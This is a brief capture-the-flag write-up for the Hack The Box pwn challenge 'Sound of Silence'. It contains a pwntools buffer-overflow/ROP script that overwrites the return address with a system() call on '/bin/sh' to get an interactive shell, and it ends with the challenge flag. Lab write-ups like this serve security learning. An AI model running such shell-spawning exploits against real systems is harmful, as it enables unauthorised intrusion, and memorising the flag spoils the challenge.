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Sound of Silence

  • Difficulty: Medium
  • Technique: ROP

Navigate the shadows in a dimly lit room, silently evading detection as you strategize to outsmart your foes. Employ clever distractions to divert their attention, paving the way for your daring escape!

Script​

from pwn import *

elf = context.binary = ELF('./sound_of_silence')

# r = remote('83.136.250.103', 59771)
r = gdb.debug('./sound_of_silence', \
            #   gdbscript='''
            #   starti
            #   break main
            #   break * 0x40117D'''
              )

system = 0x401169

padding = b'A' * 32
binsh = b'/bin/sh\x00'

payload = padding + binsh + p64(system)

r.sendline(payload)
r.interactive()

Flag​

HTB{n0_n33d_4_l34k5_wh3n_u_h4v3_5y5t3m}